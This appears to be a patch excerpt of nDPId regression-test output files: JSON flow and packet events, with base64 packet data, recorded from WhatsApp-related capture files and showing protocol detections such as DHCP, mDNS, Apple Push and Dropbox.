+00821{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582399,"pkt_ts_usec":902785,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFYAAP8Rdk8AAAAA\/\/\/\/\/wBEAEMBNOdfAQEGALYzLg4AAAAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00566{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":79,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1432582399902,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,3,6,15,119,95,252,44,46"}} +00821{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582401,"pkt_ts_usec":886119,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFcAAP8Rdk4AAAAA\/\/\/\/\/wBEAEMBNOddAQEGALYzLg4AAgAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":81,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1432582402666,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582402,"pkt_ts_usec":666171,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"AQBeAAD7APS5Jrv0CABFAABNW6AAAP8RvFfAqAIE4AAA+xTpFOkAOcRNAAAAAAACAAAAAAAABV9yYW9wBF90Y3AFbG9jYWwAAAyAAQhfYWlycGxhecASAAyAAQ=="} +00552{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":81,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1432582402666,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_raop._tcp.local"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":82,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1432582402667,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::189c:c31b:1298:224","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00501{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582402,"pkt_ts_usec":667840,"pkt_caplen":111,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":111,"pkt_l4_len":57,"pkt":"MzMAAAD7APS5Jrv0ht1gCRl1ADkR\/\/6AAAAAAAAAGJzDGxKYAiT\/AgAAAAAAAAAAAAAAAAD7FOkU6QA5eQMAAAAAAAIAAAAAAAAFX3Jhb3AEX3RjcAVsb2NhbAAADIABCF9haXJwbGF5wBIADIAB"} +00562{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":82,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1432582402667,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::189c:c31b:1298:224","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_raop._tcp.local"}} +00821{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582404,"pkt_ts_usec":307907,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFgAAP8Rdk0AAAAA\/\/\/\/\/wBEAEMBNOdaAQEGALYzLg4ABQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00821{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582408,"pkt_ts_usec":585607,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFkAAP8RdkwAAAAA\/\/\/\/\/wBEAEMBNOdWAQEGALYzLg4ACQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":85,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1432582402667,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::189c:c31b:1298:224","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":85,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1432582402666,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":85,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1432582411561,"flow_last_seen":0,"flow_tot_l4_data_len":341,"flow_min_l4_data_len":341,"flow_max_l4_data_len":341,"flow_avg_l4_data_len":341,"midstream":1,"l3_proto":"ip4","src_ip":"17.110.229.14","dst_ip":"192.168.2.4","src_port":5223,"dst_port":49193,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00854{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582411,"pkt_ts_usec":561512,"pkt_caplen":375,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":375,"pkt_l4_len":341,"pkt":"APS5Jrv0xiwDYGpkCABFAAFpJu4AAC8GqngRbuUOwKgCBBRnwCnUixwguGhbLIAYAUleegAAAQEICm+JVxEt\/BtwFwMBATAEtIuqVIsa2PHNKJeXP8xTjhoqWdhKZwOmK+i+hD5yD1M8ZM2np34aAKWtz8Bb1aOnbLJLQUe09gfoXrYrjNyw4Kz3tEhKuIJxuOR\/NLSkV4SGkIhMwiudLCMa+dHjOQ4E1rq3emNZqDFKuO5luZdltedNjC1Ni5FOba+q6FF8xJzIsSuI9Rh7dvtMvFQuN0jBEi2sNdUH+3VURleCkMaERRQQs2Fub+QUSLgkRAhefAGFzZxVCC52B4evzq7Cz7lW8fuDhUSEwqmRuVuaK7KmZTAj\/JcTRaXUVChFbQXi6T9DG8GOYrQ3cgORiCgEhtpuRfeKNmM1Ic+HX03yWe2oxtSVVy4N22M9Svs5SDcjT\/U2Guvq6M+RgrH5sh4Ew0i0LSm0dEuk7kx1gbhQeJQH"} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":85,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1432582411561,"flow_last_seen":0,"flow_tot_l4_data_len":341,"flow_min_l4_data_len":341,"flow_max_l4_data_len":341,"flow_avg_l4_data_len":341,"midstream":1,"l3_proto":"ip4","src_ip":"17.110.229.14","dst_ip":"192.168.2.4","src_port":5223,"dst_port":49193,"l4_proto":"tcp","ndpi": {"proto":"ApplePush.Apple","breed":"Safe","category":"Cloud"}} +00854{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582412,"pkt_ts_usec":221359,"pkt_caplen":375,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":375,"pkt_l4_len":341,"pkt":"APS5Jrv0xiwDYGpkCABFAAFpJu8AAC8GqncRbuUOwKgCBBRnwCnUixwguGhbLIAYAUlb7AAAAQEICm+JWZ8t\/BtwFwMBATAEtIuqVIsa2PHNKJeXP8xTjhoqWdhKZwOmK+i+hD5yD1M8ZM2np34aAKWtz8Bb1aOnbLJLQUe09gfoXrYrjNyw4Kz3tEhKuIJxuOR\/NLSkV4SGkIhMwiudLCMa+dHjOQ4E1rq3emNZqDFKuO5luZdltedNjC1Ni5FOba+q6FF8xJzIsSuI9Rh7dvtMvFQuN0jBEi2sNdUH+3VURleCkMaERRQQs2Fub+QUSLgkRAhefAGFzZxVCC52B4evzq7Cz7lW8fuDhUSEwqmRuVuaK7KmZTAj\/JcTRaXUVChFbQXi6T9DG8GOYrQ3cgORiCgEhtpuRfeKNmM1Ic+HX03yWe2oxtSVVy4N22M9Svs5SDcjT\/U2Guvq6M+RgrH5sh4Ew0i0LSm0dEuk7kx1gbhQeJQH"} +00854{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582413,"pkt_ts_usec":522659,"pkt_caplen":375,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":375,"pkt_l4_len":341,"pkt":"APS5Jrv0xiwDYGpkCABFAAFpJvAAAC8GqnYRbuUOwKgCBBRnwCnUixwguGhbLIAYAUlW0AAAAQEICm+JXrst\/BtwFwMBATAEtIuqVIsa2PHNKJeXP8xTjhoqWdhKZwOmK+i+hD5yD1M8ZM2np34aAKWtz8Bb1aOnbLJLQUe09gfoXrYrjNyw4Kz3tEhKuIJxuOR\/NLSkV4SGkIhMwiudLCMa+dHjOQ4E1rq3emNZqDFKuO5luZdltedNjC1Ni5FOba+q6FF8xJzIsSuI9Rh7dvtMvFQuN0jBEi2sNdUH+3VURleCkMaERRQQs2Fub+QUSLgkRAhefAGFzZxVCC52B4evzq7Cz7lW8fuDhUSEwqmRuVuaK7KmZTAj\/JcTRaXUVChFbQXi6T9DG8GOYrQ3cgORiCgEhtpuRfeKNmM1Ic+HX03yWe2oxtSVVy4N22M9Svs5SDcjT\/U2Guvq6M+RgrH5sh4Ew0i0LSm0dEuk7kx1gbhQeJQH"} +00854{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582416,"pkt_ts_usec":119241,"pkt_caplen":375,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":375,"pkt_l4_len":341,"pkt":"APS5Jrv0xiwDYGpkCABFAAFpJvEAAC8GqnURbuUOwKgCBBRnwCnUixwguGhbLIAYAUlMmAAAAQEICm+JaPMt\/BtwFwMBATAEtIuqVIsa2PHNKJeXP8xTjhoqWdhKZwOmK+i+hD5yD1M8ZM2np34aAKWtz8Bb1aOnbLJLQUe09gfoXrYrjNyw4Kz3tEhKuIJxuOR\/NLSkV4SGkIhMwiudLCMa+dHjOQ4E1rq3emNZqDFKuO5luZdltedNjC1Ni5FOba+q6FF8xJzIsSuI9Rh7dvtMvFQuN0jBEi2sNdUH+3VURleCkMaERRQQs2Fub+QUSLgkRAhefAGFzZxVCC52B4evzq7Cz7lW8fuDhUSEwqmRuVuaK7KmZTAj\/JcTRaXUVChFbQXi6T9DG8GOYrQ3cgORiCgEhtpuRfeKNmM1Ic+HX03yWe2oxtSVVy4N22M9Svs5SDcjT\/U2Guvq6M+RgrH5sh4Ew0i0LSm0dEuk7kx1gbhQeJQH"} +00821{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582416,"pkt_ts_usec":626472,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFoAAP8RdksAAAAA\/\/\/\/\/wBEAEMBNOdOAQEGALYzLg4AEQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00854{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582421,"pkt_ts_usec":365471,"pkt_caplen":375,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":375,"pkt_l4_len":341,"pkt":"APS5Jrv0xiwDYGpkCABFAAFpJvIAAC8GqnQRbuUOwKgCBBRnwCnUixwguGhbLIAYAUk4KAAAAQEICm+JfWMt\/BtwFwMBATAEtIuqVIsa2PHNKJeXP8xTjhoqWdhKZwOmK+i+hD5yD1M8ZM2np34aAKWtz8Bb1aOnbLJLQUe09gfoXrYrjNyw4Kz3tEhKuIJxuOR\/NLSkV4SGkIhMwiudLCMa+dHjOQ4E1rq3emNZqDFKuO5luZdltedNjC1Ni5FOba+q6FF8xJzIsSuI9Rh7dvtMvFQuN0jBEi2sNdUH+3VURleCkMaERRQQs2Fub+QUSLgkRAhefAGFzZxVCC52B4evzq7Cz7lW8fuDhUSEwqmRuVuaK7KmZTAj\/JcTRaXUVChFbQXi6T9DG8GOYrQ3cgORiCgEhtpuRfeKNmM1Ic+HX03yWe2oxtSVVy4N22M9Svs5SDcjT\/U2Guvq6M+RgrH5sh4Ew0i0LSm0dEuk7kx1gbhQeJQH"} +00821{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582425,"pkt_ts_usec":196086,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFsAAP8RdkoAAAAA\/\/\/\/\/wBEAEMBNOdFAQEGALYzLg4AGgAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":92,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1432582426553,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01090{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582426,"pkt_ts_usec":553706,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAISk3sAAEARXw\/AqAIBwKgC\/0RcRFwB\/jsJeyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":92,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1432582426553,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00650{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"whatsapp_login_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582431,"pkt_ts_usec":565397,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"APS5Jrv0xiwDYGpkCABFAADOJvMAAC8Gqw4RbuUOwKgCBBRnwCnUix1VuGhbLIAZAUnUJAAAAQEICm+JpTEt\/BtwFwMBAHDYSydR01U4MXShqjjP\/e6ozSqHDVuZ8Us7t5fLSxg\/JTSqTU1rbh5BP52nKbmElzpUYdGkXfEnn2PaHKB1t4LzV\/pkQ5JZxi+qRHMWxqelxwlH4daQC2wVBaO6VgWkkLBvXyNAW3gXtTuKympv3KY2FQMBACAIXcm+uxec4nsB2p08pVk5ZiggKezrR8Gc5wbiqdSlnQ=="} diff --git a/test/results/whatsapp_voice_and_message.pcap.out b/test/results/whatsapp_voice_and_message.pcap.out new file mode 100644 index 000000000..5fb8f2338 --- /dev/null +++ b/test/results/whatsapp_voice_and_message.pcap.out @@ -0,0 +1,142 @@ +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1432820558921,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"184.173.179.46","src_port":35480,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820558,"pkt_ts_usec":921094,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA89o5AAEAGzkgKCAABuK2zLoqYAbsGFK3rAAAAAKACOQj9WQAAAgQFtAQCCAoABFtlAAAAAAEDAwQ="} +00427{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820558,"pkt_ts_usec":982129,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAAJAABAG9Om4rbMuCggAAQG7ipj561IUBhSt7FAS\/\/+tmQAA"} +00425{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820558,"pkt_ts_usec":982220,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo9o9AAEAGzlsKCAABuK2zLoqYAbsGFK3s+etSFVAQOQh0kgAA"} +00672{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820559,"pkt_ts_usec":129925,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"ABoRAAACABoRAAABCABFAADZ9pBAAEAGzakKCAABuK2zLoqYAbsGFK3s+etSFVAYOQh8uwAAV0EBBQAAF\/gFAaWRifwPQW5kcm9pZC0yLjEyLjg0AAAZ+AKc+AT4AfwHcHJpdmFjefgBgPgBQPgBeAAAdPgIDLX\/h1UhmCkBUQ\/sTqZWv\/xgL\/OOe5EfaI3hnw38C5rzGgbJdboceXh+6uT5elbuFLCygADnnNcZ165+\/2XUTTA9IaVlrQrxqqJFS\/kXW9k9b7Wlv7SNYPBPUFyQeuOVrlIwHNJoFQWyO2S1VrW+Oa\/9"} +00427{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"whatsapp_voice_and_message.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820559,"pkt_ts_usec":130047,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAANAABAG9Oi4rbMuCggAAQG7ipj561IVBhSunVAQ\/\/+s6QAA"} 